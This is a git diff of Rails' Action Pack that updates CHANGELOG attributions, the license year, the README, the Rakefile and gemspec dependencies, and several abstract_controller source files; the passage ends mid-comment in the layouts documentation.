 *   Deprecated the majority of all the testing assertions and replaced them with a much smaller core and access to all the collections the old assertions relied on. That way the regular test/unit assertions can be used against these. Added documentation about how to use it all.
 
 *   Added a wide range of new Javascript effects:
-        * Effect.Puff zooms the element out and makes it smoothly transparent at the same time, giving a "puff" illusion #996 [thomas@fesch.at]
+        * Effect.Puff zooms the element out and makes it smoothly transparent at the same time, giving a "puff" illusion #996 *thomas@fesch.at*
           After the animation is completed, the display property will be set to none.
           This effect will work on relative and absolute positioned elements.
 
-        * Effect.Appear as the opposite of Effect.Fade #990 [thomas@fesch.at]
+        * Effect.Appear as the opposite of Effect.Fade #990 *thomas@fesch.at*
           You should return elements with style="display:none;" or a like class for this to work best and have no chance of flicker.
 
-        * Effect.Squish for scaling down an element and making it disappear at the end #972 [thomas@fesch.at]
+        * Effect.Squish for scaling down an element and making it disappear at the end #972 *thomas@fesch.at*
 
-        * Effect.Scale for smoothly scaling images or text up and down #972 [thomas@fesch.at]
+        * Effect.Scale for smoothly scaling images or text up and down #972 *thomas@fesch.at*
 
-        * Effect.Fade which smoothly turns opacity from 100 to 0 and then hides the element #960 [thomas@fesch.at]
+        * Effect.Fade which smoothly turns opacity from 100 to 0 and then hides the element #960 *thomas@fesch.at*
 
 *   Added Request#xml_http_request? (and an alias xhr?) to that'll return true when the request came from one of the Javascript helper methods (Ajax). This can be used to give one behavior for modern browsers supporting Ajax, another to old browsers #1127 *Sam Stephenson*
 
@@ -4412,7 +5188,7 @@
 
 *   Fixed routing and helpers to make Rails work on non-vhost setups #826 *Nicholas Seckar/Tobias Lütke*
 
-*   Added a much improved Flash module that allows for finer-grained control on expiration and allows you to flash the current action #839 [Caio Chassot]. Example of flash.now:
+*   Added a much improved Flash module that allows for finer-grained control on expiration and allows you to flash the current action #839 *Caio Chassot*. Example of flash.now:
 
         class SomethingController < ApplicationController
           def save
@@ -4429,7 +5205,7 @@
           end
         end
 
-*   Added to_param call for parameters when composing an url using url_for from something else than strings #812 [Sam Stephenson]. Example:
+*   Added to_param call for parameters when composing an url using url_for from something else than strings #812 *Sam Stephenson*. Example:
 
         class Page
           def initialize(number)
@@ -4458,7 +5234,7 @@
 
 *   Added that the html options disabled, readonly, and multiple can all be treated as booleans. So specifying <tt>disabled => :true</tt> will give <tt>disabled="disabled"</tt>. #809 *mindel*
 
-*   Added path collection syntax for Routes that will gobble up the rest of the url and pass it on to the controller #830 [rayners]. Example:
+*   Added path collection syntax for Routes that will gobble up the rest of the url and pass it on to the controller #830 *rayners*. Example:
 
         map.connect 'categories/*path_info', :controller => 'categories', :action => 'show'
 
@@ -4475,7 +5251,7 @@
 
 *   Removed the reliance on PATH_INFO as it was causing problems for caching and inhibited the new non-vhost support #822 *Nicholas Seckar*
 
-*   Added assigns shortcut for @response.template.assigns to controller test cases [Jeremy Kemper]. Example:
+*   Added assigns shortcut for @response.template.assigns to controller test cases *Jeremy Kemper*. Example:
 
     Before:
 
@@ -4887,7 +5663,7 @@
 
 *   Added that ActiveRecordHelper#form now calls url_for on the :action option.
 
-*   Added all the HTTP methods as alternatives to the generic "process" for functional testing #276 [Tobias Lütke]. Examples:
+*   Added all the HTTP methods as alternatives to the generic "process" for functional testing #276 *Tobias Lütke*. Examples:
 
         # Calls Controller#miletone with a GET request
         process :milestone
@@ -5060,7 +5836,7 @@
 *   Added assert_flash_equal(expected, key, message), assert_session_equal(expected, key, message),
     assert_assigned_equal(expected, key, message) to test the contents of flash, session, and template assigns.
 
-*   Improved the failure report on assert_success when the action triggered a redirection [alexey].
+*   Improved the failure report on assert_success when the action triggered a redirection *alexey*.
 
 *   Added "markdown" to accompany "textilize" as a TextHelper method for converting text to HTML using the Markdown syntax.
     BlueCloth must be installed in order for this method to become available.
@@ -5135,7 +5911,7 @@
 
     *Builder is created by Jim Weirich*
 
-*   Added much improved support for functional testing [what-a-day].
+*   Added much improved support for functional testing *what-a-day*.
 
         # Old style
         def test_failing_authenticate
@@ -5164,7 +5940,7 @@
     following the suggestion from Matz on:
     http://groups.google.com/groups?th=e3a4e68ba042f842&seekm=c3sioe%241qvm%241%40news.cybercity.dk#link14
 
-*   Added caching for compiled ERb templates. On Basecamp, it gave between 8.5% and 71% increase in performance [Andreas Schwarz].
+*   Added caching for compiled ERb templates. On Basecamp, it gave between 8.5% and 71% increase in performance *Andreas Schwarz*.
 
 *   Added implicit counter variable to render_collection_of_partials [Marcel Molina Jr.]. From the docs:
 
@@ -5191,7 +5967,7 @@
         :confirm => 'Are you sure?', the link will be guarded with a JS popup asking that question.
         If the user accepts, the link is processed, otherwise not.
 
-*   Added link_to_unless_current as a UrlHelper method [Sam Stephenson]. Documentation:
+*   Added link_to_unless_current as a UrlHelper method *Sam Stephenson*. Documentation:
 
         Creates a link tag of the given +name+ using an URL created by the set of +options+, unless the current
         controller, action, and id are the same as the link's, in which case only the name is returned (or the
@@ -5312,7 +6088,7 @@
         == Rendering a collection of partials
 
         The example of partial use describes a familar pattern where a template needs
-        to iterate over a array and render a sub template for each of the elements.
+        to iterate over an array and render a sub template for each of the elements.
         This pattern has been implemented as a single method that accepts an array and
         renders a partial by the same name of as the elements contained within. So the
         three-lined example in "Using partials" can be rewritten with a single line:
@@ -5322,7 +6098,7 @@
         So this will render "advertiser/_ad.rhtml" and pass the local variable +ad+ for
         the template to display.
 
-*   Improved send_file by allowing a wide range of options to be applied [Jeremy Kemper]:
+*   Improved send_file by allowing a wide range of options to be applied *Jeremy Kemper*:
 
         Sends the file by streaming it 4096 bytes at a time. This way the
         whole file doesn't need to be read into memory at once.  This makes
@@ -5573,7 +6349,7 @@
 
 *   Fixed that exceptions raised during filters are now also caught by the default rescues
 
-*   Added new around_filter for doing before and after filtering with a single object [Florian Weber]:
+*   Added new around_filter for doing before and after filtering with a single object *Florian Weber*:
 
         class WeblogController < ActionController::Base
           around_filter BenchmarkingFilter.new
@@ -5599,7 +6375,7 @@
           end
         end
 
-*   Added the options for specifying a different name and id for the form helper methods than what is guessed [Florian Weber]:
+*   Added the options for specifying a different name and id for the form helper methods than what is guessed *Florian Weber*:
 
         text_field "post", "title"
           ...just gives: <input id="post_title" name="post[title]" size="30" type="text" value="" />
diff --git a/actionpack/MIT-LICENSE b/actionpack/MIT-LICENSE
index 7ad1051066..810daf856c 100644
--- a/actionpack/MIT-LICENSE
+++ b/actionpack/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2011 David Heinemeier Hansson
+Copyright (c) 2004-2012 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/actionpack/README.rdoc b/actionpack/README.rdoc
index 95301c21ee..ccd0193515 100644
--- a/actionpack/README.rdoc
+++ b/actionpack/README.rdoc
@@ -28,291 +28,6 @@ by default and Action View rendering is implicitly triggered by Action
 Controller. However, these modules are designed to function on their own and
 can be used outside of Rails.
 
-A short rundown of some of the major features:
-
-* Actions grouped in controller as methods instead of separate command objects
-  and can therefore share helper methods
-
-    class CustomersController < ActionController::Base
-      def show
-        @customer = find_customer
-      end
-
-      def update
-        @customer = find_customer
-        if @customer.update_attributes(params[:customer])
-          redirect_to :action => "show"
-        else
-          render :action => "edit"
-        end
-      end
-
-      private
-        def find_customer
-          Customer.find params[:id]
-        end
-    end
-
-  {Learn more}[link:classes/ActionController/Base.html]
-
-
-* ERB templates (static content mixed with dynamic output from ruby)
-
-    <% @posts.each do |post| %>
-      Title: <%= post.title %>
-    <% end %>
-
-    All post titles: <%= @posts.collect{ |p| p.title }.join(", ") %>
-
-    <% unless @person.is_client? %>
-      Not for clients to see...
-    <% end %>
-
-  {Learn more}[link:classes/ActionView.html]
-
-
-* "Builder" templates (great for XML content, like RSS)
-
-    xml.rss("version" => "2.0") do
-      xml.channel do
-        xml.title(@feed_title)
-        xml.link(@url)
-        xml.description "Basecamp: Recent items"
-        xml.language "en-us"
-        xml.ttl "40"
-
-        @recent_items.each do |item|
-          xml.item do
-            xml.title(item_title(item))
-            xml.description(item_description(item))
-            xml.pubDate(item_pubDate(item))
-            xml.guid(@recent_items.url(item))
-            xml.link(@recent_items.url(item))
-          end
-        end
-      end
-    end
-
-  {Learn more}[link:classes/ActionView/Base.html]
-
-
-* Filters for pre- and post-processing of the response
-
-    class WeblogController < ActionController::Base
-      # filters as methods
-      before_filter :authenticate, :cache, :audit
-
-      # filter as a proc
-      after_filter { |c| c.response.body = Gzip::compress(c.response.body) }
-
-      # class filter
-      after_filter LocalizeFilter
-
-      def index
-        # Before this action is run, the user will be authenticated, the cache
-        # will be examined to see if a valid copy of the results already
-        # exists, and the action will be logged for auditing.
-
-        # After this action has run, the output will first be localized then
-        # compressed to minimize bandwidth usage
-      end
-
-      private
-        def authenticate
-          # Implement the filter with full access to both request and response
-        end
-    end
-
-  {Learn more}[link:classes/ActionController/Filters/ClassMethods.html]
-
-
-* Helpers for forms, dates, action links, and text
-
-    <%= text_field_tag "post", "title", "size" => 30 %>
-    <%= link_to "New post", :controller => "post", :action => "new" %>
-    <%= truncate(post.title, :length => 25) %>
-
-  {Learn more}[link:classes/ActionView/Helpers.html]
-
-
-* Layout sharing for template reuse
-
-    class WeblogController < ActionController::Base
-      layout "weblog_layout"
-
-      def hello_world
-      end
-    end
-
-    Layout file (called weblog_layout):
-      <html><body><%= yield %></body></html>
-
-    Template for hello_world action:
-      <h1>Hello world</h1>
-
-    Result of running hello_world action:
-      <html><body><h1>Hello world</h1></body></html>
-
-  {Learn more}[link:classes/ActionController/Layout/ClassMethods.html]
-
-
-* Routing makes pretty URLs incredibly easy
-
-    match 'clients/:client_name/:project_name/:controller/:action'
-
-    Accessing "/clients/37signals/basecamp/project/index" calls ProjectController#index with
-    { "client_name" => "37signals", "project_name" => "basecamp" } in `params`
-
-    From that action, you can write the redirect in a number of ways:
-
-    redirect_to(:action => "edit") =>
-      /clients/37signals/basecamp/project/edit
-
-    redirect_to(:client_name => "nextangle", :project_name => "rails") =>
-      /clients/nextangle/rails/project/index
-
-  {Learn more}[link:classes/ActionDispatch/Routing.html]
-
-
-* Easy testing of both controller and rendered template through ActionController::TestCase
-
-    class LoginControllerTest < ActionController::TestCase
-      def test_failing_authenticate
-        process :authenticate, :user_name => "nop", :password => ""
-        assert flash.has_key?(:alert)
-        assert_redirected_to :action => "index"
-      end
-    end
-
-  {Learn more}[link:classes/ActionController/TestCase.html]
-
-
-* Automated benchmarking and integrated logging
-
-    Started GET "/weblog" for 127.0.0.1 at Fri May 28 00:41:55
-      Processing by WeblogController#index as HTML
-    Rendered weblog/index.html.erb within layouts/application (25.7ms)
-    Completed 200 OK in 29.3ms
-
-    If Active Record is used as the model, you'll have the database debugging
-    as well:
-
-    Started POST "/posts" for 127.0.0.1 at Sat Jun 19 14:04:23
-      Processing by PostsController#create as HTML
-      Parameters: {"post"=>{"title"=>"this is good"}}
-    SQL (0.6ms) INSERT INTO posts (title) VALUES('this is good')
-    Redirected to http://example.com/posts/5
-    Completed 302 Found in 221ms (Views: 215ms | ActiveRecord: 0.6ms)
-
-    You specify a logger through a class method, such as:
-
-    ActionController::Base.logger = Logger.new("Application Log")
-    ActionController::Base.logger = Log4r::Logger.new("Application Log")
-
-
-* Caching at three levels of granularity (page, action, fragment)
-
-    class WeblogController < ActionController::Base
-      caches_page :show
-      caches_action :account
-
-      def show
-        # the output of the method will be cached as
-        # ActionController::Base.page_cache_directory + "/weblog/show/n.html"
-        # and the web server will pick it up without even hitting Rails
-      end
-
-      def account
-        # the output of the method will be cached in the fragment store
-        # but Rails is hit to retrieve it, so filters are run
-      end
-
-      def update
-        List.update(params[:list][:id], params[:list])
-        expire_page   :action => "show", :id => params[:list][:id]
-        expire_action :action => "account"
-        redirect_to   :action => "show", :id => params[:list][:id]
-      end
-    end
-
-  {Learn more}[link:classes/ActionController/Caching.html]
-
-
-* Powerful debugging mechanism for local requests
-
-    All exceptions raised on actions performed on the request of a local user
-    will be presented with a tailored debugging screen that includes exception
-    message, stack trace, request parameters, session contents, and the
-    half-finished response.
-
-  {Learn more}[link:classes/ActionController/Rescue.html]
-
-
-== Simple example (from outside of Rails)
-
-This example will implement a simple weblog system using inline templates and
-an Active Record model. So let's build that WeblogController with just a few
-methods:
-
-  require 'action_controller'
-  require 'post'
-
-  class WeblogController < ActionController::Base
-    layout "weblog/layout"
-
-    def index
-      @posts = Post.all
-    end
-
-    def show
-      @post = Post.find(params[:id])
-    end
-
-    def new
-      @post = Post.new
-    end
-
-    def create
-      @post = Post.create(params[:post])
-      redirect_to :action => "show", :id => @post.id
-    end
-  end
-
-  WeblogController::Base.view_paths = [ File.dirname(__FILE__) ]
-  WeblogController.process_cgi if $0 == __FILE__
-
-The last two lines are responsible for telling ActionController where the
-template files are located and actually running the controller on a new
-request from the web-server (e.g., Apache).
-
-And the templates look like this:
-
-  weblog/layout.html.erb:
-    <html><body>
-    <%= yield %>
-    </body></html>
-
-  weblog/index.html.erb:
-    <% @posts.each do |post| %>
-      <p><%= link_to(post.title, :action => "show", :id => post.id) %></p>
-    <% end %>
-
-  weblog/show.html.erb:
-    <p>
-      <b><%= @post.title %></b><br/>
-      <b><%= @post.content %></b>
-    </p>
-
-  weblog/new.html.erb:
-    <%= form "post" %>
-
-This simple setup will list all the posts in the system on the index page,
-which is called by accessing /weblog/. It uses the form builder for the Active
-Record model to make the new screen, which in turn hands everything over to
-the create action (that's the default target for the form builder when given a
-new model). After creating the post, it'll redirect to the show page using
-an URL such as /weblog/5 (where 5 is the id of the post).
-
 
 == Download and installation
 
@@ -327,7 +42,9 @@ Source code can be downloaded as part of the Rails project on GitHub
 
 == License
 
-Action Pack is released under the MIT license.
+Action Pack is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
 
 
 == Support
diff --git a/actionpack/Rakefile b/actionpack/Rakefile
index d9e3e56fcc..50e3bb0d48 100755..100644
--- a/actionpack/Rakefile
+++ b/actionpack/Rakefile
@@ -1,4 +1,3 @@
-#!/usr/bin/env rake
 require 'rake/testtask'
 require 'rake/packagetask'
 require 'rubygems/package_task'
@@ -16,7 +15,7 @@ Rake::TestTask.new(:test_action_pack) do |t|
 
   # make sure we include the tests in alphabetical order as on some systems
   # this will not happen automatically and the tests (as a whole) will error
-  t.test_files = Dir.glob('test/{abstract,controller,dispatch,template}/**/*_test.rb').sort
+  t.test_files = Dir.glob('test/{abstract,controller,dispatch,template,assertions}/**/*_test.rb').sort
 
   t.warning = true
   t.verbose = true
@@ -24,6 +23,7 @@ end
 
 namespace :test do
   Rake::TestTask.new(:isolated) do |t|
+    t.libs << 'test'
     t.pattern = 'test/ts_isolated.rb'
   end
 
@@ -55,15 +55,15 @@ end
 task :lines do
   lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
 
-  for file_name in FileList["lib/**/*.rb"]
+  FileList["lib/**/*.rb"].each do |file_name|
     next if file_name =~ /vendor/
-    f = File.open(file_name)
-
-    while line = f.gets
-      lines += 1
-      next if line =~ /^\s*$/
-      next if line =~ /^\s*#/
-      codelines += 1
+    File.open(file_name, 'r') do |f|
+      while line = f.gets
+        lines += 1
+        next if line =~ /^\s*$/
+        next if line =~ /^\s*#/
+        codelines += 1
+      end
     end
     puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
 
diff --git a/actionpack/actionpack.gemspec b/actionpack/actionpack.gemspec
index a446531a6b..dde51da497 100644
--- a/actionpack/actionpack.gemspec
+++ b/actionpack/actionpack.gemspec
@@ -6,7 +6,8 @@ Gem::Specification.new do |s|
   s.version     = version
   s.summary     = 'Web-flow and rendering framework putting the VC in MVC (part of Rails).'
   s.description = 'Web apps on Rails. Simple, battle-tested conventions for building and testing MVC web applications. Works with any Rack-compatible server.'
-  s.required_ruby_version = '>= 1.8.7'
+  s.required_ruby_version = '>= 1.9.3'
+  s.license     = 'MIT'
 
   s.author            = 'David Heinemeier Hansson'
   s.email             = 'david@loudthinking.com'
@@ -17,15 +18,13 @@ Gem::Specification.new do |s|
   s.requirements << 'none'
 
   s.add_dependency('activesupport', version)
-  s.add_dependency('activemodel',   version)
-  s.add_dependency('rack-cache',    '~> 1.1')
+  s.add_dependency('rack-cache',    '~> 1.2')
   s.add_dependency('builder',       '~> 3.0.0')
-  s.add_dependency('i18n',          '~> 0.6')
-  s.add_dependency('rack',          '~> 1.3.5')
+  s.add_dependency('rack',          '~> 1.4.1')
   s.add_dependency('rack-test',     '~> 0.6.1')
-  s.add_dependency('journey',       '~> 1.0.0')
-  s.add_dependency('sprockets',     '~> 2.1.0.beta')
+  s.add_dependency('journey',       '~> 2.0.0')
   s.add_dependency('erubis',        '~> 2.7.0')
 
-  s.add_development_dependency('tzinfo', '~> 0.3.29')
+  s.add_development_dependency('activemodel', version)
+  s.add_development_dependency('tzinfo', '~> 0.3.33')
 end
diff --git a/actionpack/lib/abstract_controller.rb b/actionpack/lib/abstract_controller.rb
index cc5878c88e..867a7954e0 100644
--- a/actionpack/lib/abstract_controller.rb
+++ b/actionpack/lib/abstract_controller.rb
@@ -1,13 +1,6 @@
-activesupport_path = File.expand_path('../../../activesupport/lib', __FILE__)
-$:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path)
-
 require 'action_pack'
-require 'active_support/concern'
-require 'active_support/ruby/shim'
-require 'active_support/dependencies/autoload'
-require 'active_support/core_ext/class/attribute'
+require 'active_support/rails'
 require 'active_support/core_ext/module/attr_internal'
-require 'active_support/core_ext/module/delegation'
 require 'active_support/core_ext/module/anonymous'
 require 'active_support/i18n'
 
diff --git a/actionpack/lib/abstract_controller/asset_paths.rb b/actionpack/lib/abstract_controller/asset_paths.rb
index c2a6809f58..822254b1a4 100644
--- a/actionpack/lib/abstract_controller/asset_paths.rb
+++ b/actionpack/lib/abstract_controller/asset_paths.rb
@@ -1,10 +1,10 @@
 module AbstractController
-  module AssetPaths
+  module AssetPaths #:nodoc:
     extend ActiveSupport::Concern
 
     included do
       config_accessor :asset_host, :asset_path, :assets_dir, :javascripts_dir,
-        :stylesheets_dir, :default_asset_host_protocol
+        :stylesheets_dir, :default_asset_host_protocol, :relative_url_root
     end
   end
 end
diff --git a/actionpack/lib/abstract_controller/base.rb b/actionpack/lib/abstract_controller/base.rb
index fd6a46fbec..9c3960961b 100644
--- a/actionpack/lib/abstract_controller/base.rb
+++ b/actionpack/lib/abstract_controller/base.rb
@@ -1,11 +1,15 @@
 require 'erubis'
+require 'set'
 require 'active_support/configurable'
 require 'active_support/descendants_tracker'
 require 'active_support/core_ext/module/anonymous'
 
 module AbstractController
-  class Error < StandardError; end
-  class ActionNotFound < StandardError; end
+  class Error < StandardError #:nodoc:
+  end
+
+  class ActionNotFound < StandardError #:nodoc:
+  end
 
   # <tt>AbstractController::Base</tt> is a low-level API. Nobody should be
   # using it directly, and subclasses (like ActionController::Base) are
@@ -42,12 +46,12 @@ module AbstractController
         controller.public_instance_methods(true)
       end
 
-      # The list of hidden actions to an empty array. Defaults to an
-      # empty array. This can be modified by other modules or subclasses
+      # The list of hidden actions. Defaults to an empty array.
+      # This can be modified by other modules or subclasses
       # to specify particular actions as hidden.
       #
       # ==== Returns
-      # * <tt>array</tt> - An array of method names that should not be considered actions.
+      # * <tt>Array</tt> - An array of method names that should not be considered actions.
       def hidden_actions
         []
       end
@@ -59,7 +63,7 @@ module AbstractController
       # itself. Finally, #hidden_actions are removed.
       #
       # ==== Returns
-      # * <tt>array</tt> - A list of all methods that should be considered actions.
+      # * <tt>Set</tt> - A set of all methods that should be considered actions.
       def action_methods
         @action_methods ||= begin
           # All public instance methods of this class, including ancestors
@@ -72,7 +76,7 @@ module AbstractController
             hidden_actions.to_a
 
           # Clear out AS callback method pollution
-          methods.reject { |method| method =~ /_one_time_conditions/ }
+          Set.new(methods.reject { |method| method =~ /_one_time_conditions/ })
         end
       end
 
@@ -85,14 +89,15 @@ module AbstractController
 
       # Returns the full controller name, underscored, without the ending Controller.
       # For instance, MyApp::MyPostsController would return "my_app/my_posts" for
-      # controller_name.
+      # controller_path.
       #
       # ==== Returns
-      # * <tt>string</tt>
+      # * <tt>String</tt>
       def controller_path
         @controller_path ||= name.sub(/Controller$/, '').underscore unless anonymous?
       end
 
+      # Refresh the cached action_methods when a new action_method is added.
       def method_added(name)
         super
         clear_action_methods!
@@ -126,6 +131,7 @@ module AbstractController
       self.class.controller_path
     end
 
+    # Delegates to the class' #action_methods
     def action_methods
       self.class.action_methods
     end
@@ -135,8 +141,14 @@ module AbstractController
     #
     # Notice that <tt>action_methods.include?("foo")</tt> may return
     # false and <tt>available_action?("foo")</tt> returns true because
-    # available action consider actions that are also available
+    # this method considers actions that are also available
     # through other means, for example, implicit render ones.
+    #
+    # ==== Parameters
+    # * <tt>action_name</tt> - The name of an action to be tested
+    #
+    # ==== Returns
+    # * <tt>TrueClass</tt>, <tt>FalseClass</tt>
     def available_action?(action_name)
       method_for_action(action_name).present?
     end
diff --git a/actionpack/lib/abstract_controller/callbacks.rb b/actionpack/lib/abstract_controller/callbacks.rb
index 7004e607a1..5705ab590c 100644
--- a/actionpack/lib/abstract_controller/callbacks.rb
+++ b/actionpack/lib/abstract_controller/callbacks.rb
@@ -8,24 +8,22 @@ module AbstractController
     include ActiveSupport::Callbacks
 
     included do
-      define_callbacks :process_action, :terminator => "response_body"
+      define_callbacks :process_action, :terminator => "response_body", :skip_after_callbacks_if_terminated => true
     end
 
     # Override AbstractController::Base's process_action to run the
     # process_action callbacks around the normal behavior.
     def process_action(*args)
-      run_callbacks(:process_action, action_name) do
+      run_callbacks(:process_action) do
         super
       end
     end
 
     module ClassMethods
       # If :only or :except are used, convert the options into the
-      # primitive form (:per_key) used by ActiveSupport::Callbacks.
+      # :unless and :if options of ActiveSupport::Callbacks.
       # The basic idea is that :only => :index gets converted to
-      # :if => proc {|c| c.action_name == "index" }, but that the
-      # proc is only evaluated once per action for the lifetime of
-      # a Rails process.
+      # :if => proc {|c| c.action_name == "index" }.
       #
       # ==== Options
       # * <tt>only</tt>   - The callback should be run only for this action
@@ -33,11 +31,11 @@ module AbstractController
       def _normalize_callback_options(options)
         if only = options[:only]
           only = Array(only).map {|o| "action_name == '#{o}'"}.join(" || ")
-          options[:per_key] = {:if => only}
+          options[:if] = Array(options[:if]) << only
         end
         if except = options[:except]
           except = Array(except).map {|e| "action_name == '#{e}'"}.join(" || ")
-          options[:per_key] = {:unless => except}
+          options[:unless] = Array(options[:unless]) << except
         end
       end
 
@@ -48,7 +46,7 @@ module AbstractController
       #   callbacks. Note that skipping uses Ruby equality, so it's
       #   impossible to skip a callback defined using an anonymous proc
       #   using #skip_filter
-      def skip_filter(*names, &blk)
+      def skip_filter(*names)
         skip_before_filter(*names)
         skip_after_filter(*names)
         skip_around_filter(*names)
@@ -66,7 +64,7 @@ module AbstractController
       # ==== Block Parameters
       # * <tt>name</tt>     - The callback to be added
       # * <tt>options</tt>  - A hash of options to be used when adding the callback
-      def _insert_callbacks(callbacks, block)
+      def _insert_callbacks(callbacks, block = nil)
         options = callbacks.last.is_a?(Hash) ? callbacks.pop : {}
         _normalize_callback_options(options)
         callbacks.push(block) if block
@@ -92,7 +90,7 @@ module AbstractController
       ##
       # :method: skip_before_filter
       #
-      # :call-seq: skip_before_filter(names, block)
+      # :call-seq: skip_before_filter(names)
       #
       # Skip a before filter. See _insert_callbacks for parameter details.
 
@@ -120,7 +118,7 @@ module AbstractController
       ##
       # :method: skip_after_filter
       #
-      # :call-seq: skip_after_filter(names, block)
+      # :call-seq: skip_after_filter(names)
       #
       # Skip an after filter. See _insert_callbacks for parameter details.
 
@@ -148,7 +146,7 @@ module AbstractController
       ##
       # :method: skip_around_filter
       #
-      # :call-seq: skip_around_filter(names, block)
+      # :call-seq: skip_around_filter(names)
       #
       # Skip an around filter. See _insert_callbacks for parameter details.
 
@@ -165,29 +163,27 @@ module AbstractController
         class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
           # Append a before, after or around filter. See _insert_callbacks
           # for details on the allowed parameters.
-          def #{filter}_filter(*names, &blk)                                                 # def before_filter(*names, &blk)
-            _insert_callbacks(names, blk) do |name, options|                                 #   _insert_callbacks(names, blk) do |name, options|
-              options[:if] = (Array.wrap(options[:if]) << "!halted") if #{filter == :after}  #     options[:if] = (Array.wrap(options[:if]) << "!halted") if false
-              set_callback(:process_action, :#{filter}, name, options)                       #     set_callback(:process_action, :before, name, options)
-            end                                                                              #   end
-          end                                                                                # end
+          def #{filter}_filter(*names, &blk)                                                    # def before_filter(*names, &blk)
+            _insert_callbacks(names, blk) do |name, options|                                    #   _insert_callbacks(names, blk) do |name, options|
+              set_callback(:process_action, :#{filter}, name, options)                          #     set_callback(:process_action, :before, name, options)
+            end                                                                                 #   end
+          end                                                                                   # end
 
           # Prepend a before, after or around filter. See _insert_callbacks
           # for details on the allowed parameters.
           def prepend_#{filter}_filter(*names, &blk)                                            # def prepend_before_filter(*names, &blk)
             _insert_callbacks(names, blk) do |name, options|                                    #   _insert_callbacks(names, blk) do |name, options|
-              options[:if] = (Array.wrap(options[:if]) << "!halted") if #{filter == :after}     #     options[:if] = (Array.wrap(options[:if]) << "!halted") if false
               set_callback(:process_action, :#{filter}, name, options.merge(:prepend => true))  #     set_callback(:process_action, :before, name, options.merge(:prepend => true))
             end                                                                                 #   end
           end                                                                                   # end
 
           # Skip a before, after or around filter. See _insert_callbacks
           # for details on the allowed parameters.
-          def skip_#{filter}_filter(*names, &blk)                        # def skip_before_filter(*names, &blk)
-            _insert_callbacks(names, blk) do |name, options|             #   _insert_callbacks(names, blk) do |name, options|
-              skip_callback(:process_action, :#{filter}, name, options)  #     skip_callback(:process_action, :before, name, options)
-            end                                                          #   end
-          end                                                            # end
+          def skip_#{filter}_filter(*names)                                                     # def skip_before_filter(*names)
+            _insert_callbacks(names) do |name, options|                                         #   _insert_callbacks(names) do |name, options|
+              skip_callback(:process_action, :#{filter}, name, options)                         #     skip_callback(:process_action, :before, name, options)
+            end                                                                                 #   end
+          end                                                                                   # end
 
           # *_filter is the same as append_*_filter
           alias_method :append_#{filter}_filter, :#{filter}_filter  # alias_method :append_before_filter, :before_filter
diff --git a/actionpack/lib/abstract_controller/collector.rb b/actionpack/lib/abstract_controller/collector.rb
index 81fb514770..09b9e7ddf0 100644
--- a/actionpack/lib/abstract_controller/collector.rb
+++ b/actionpack/lib/abstract_controller/collector.rb
@@ -4,7 +4,7 @@ module AbstractController
   module Collector
     def self.generate_method_for_mime(mime)
       sym = mime.is_a?(Symbol) ? mime : mime.to_sym
-      const = sym.to_s.upcase
+      const = sym.upcase
       class_eval <<-RUBY, __FILE__, __LINE__ + 1
         def #{sym}(*args, &block)                # def html(*args, &block)
           custom(Mime::#{const}, *args, &block)  #   custom(Mime::HTML, *args, &block)
@@ -16,10 +16,14 @@ module AbstractController
       generate_method_for_mime(mime)
     end
 
+    Mime::Type.register_callback do |mime|
+      generate_method_for_mime(mime) unless self.instance_methods.include?(mime.to_sym)
+    end
+
   protected
 
     def method_missing(symbol, &block)
-      mime_constant = Mime.const_get(symbol.to_s.upcase)
+      mime_constant = Mime.const_get(symbol.upcase)
 
       if Mime::SET.include?(mime_constant)
         AbstractController::Collector.generate_method_for_mime(mime_constant)
@@ -29,4 +33,4 @@ module AbstractController
       end
     end
   end
-end
\ No newline at end of file
+end
diff --git a/actionpack/lib/abstract_controller/helpers.rb b/actionpack/lib/abstract_controller/helpers.rb
index 77cc4c07d9..d63d17f4c5 100644
--- a/actionpack/lib/abstract_controller/helpers.rb
+++ b/actionpack/lib/abstract_controller/helpers.rb
@@ -49,9 +49,9 @@ module AbstractController
 
         meths.each do |meth|
           _helpers.class_eval <<-ruby_eval, __FILE__, __LINE__ + 1
-            def #{meth}(*args, &blk)
-              controller.send(%(#{meth}), *args, &blk)
-            end
+            def #{meth}(*args, &blk)                               # def current_user(*args, &blk)
+              controller.send(%(#{meth}), *args, &blk)             #   controller.send(:current_user, *args, &blk)
+            end                                                    # end
           ruby_eval
         end
       end
@@ -132,7 +132,11 @@ module AbstractController
           case arg
           when String, Symbol
             file_name = "#{arg.to_s.underscore}_helper"
-            require_dependency(file_name, "Missing helper file helpers/%s.rb")
+            begin
+              require_dependency(file_name)
+            rescue LoadError => e
+              raise MissingHelperError.new(e, file_name)
+            end
             file_name.camelize.constantize
           when Module
             arg
@@ -142,6 +146,15 @@ module AbstractController
         end
       end
 
+      class MissingHelperError < LoadError
+        def initialize(error, path)
+          @error = error
+          @path  = "helpers/#{path}.rb"
+          set_backtrace error.backtrace
+          super("Missing helper file helpers/%s.rb" % path)
+        end
+      end
+
       private
       # Makes all the (instance) methods in the helper module available to templates
       # rendered through this controller.
diff --git a/actionpack/lib/abstract_controller/layouts.rb b/actionpack/lib/abstract_controller/layouts.rb
index bbf5efe565..c1b3994035 100644
--- a/actionpack/lib/abstract_controller/layouts.rb
+++ b/actionpack/lib/abstract_controller/layouts.rb
@@ -66,27 +66,40 @@ module AbstractController
   # == Inheritance Examples
   #
   #   class BankController < ActionController::Base
-  #     layout "bank_standard"
+  #     # bank.html.erb exists
+  #
+  #   class ExchangeController < BankController
+  #     # exchange.html.erb exists
+  #
+  #   class CurrencyController < BankController
   #
   #   class InformationController < BankController
+  #     layout "information"
   #
-  #   class TellerController < BankController
+  #   class TellerController < InformationController
   #     # teller.html.erb exists
   #
-  #   class TillController < TellerController
+  #   class EmployeeController < InformationController
+  #     # employee.html.erb exists
+  #     layout nil
   #
   #   class VaultController < BankController
   #     layout :access_level_layout
   #
-  #   class EmployeeController < BankController
-  #     layout nil
+  #   class TillController < BankController
+  #     layout false
   #
-  # In these examples:
-  # * The InformationController uses the "bank_standard" layout, inherited from BankController.
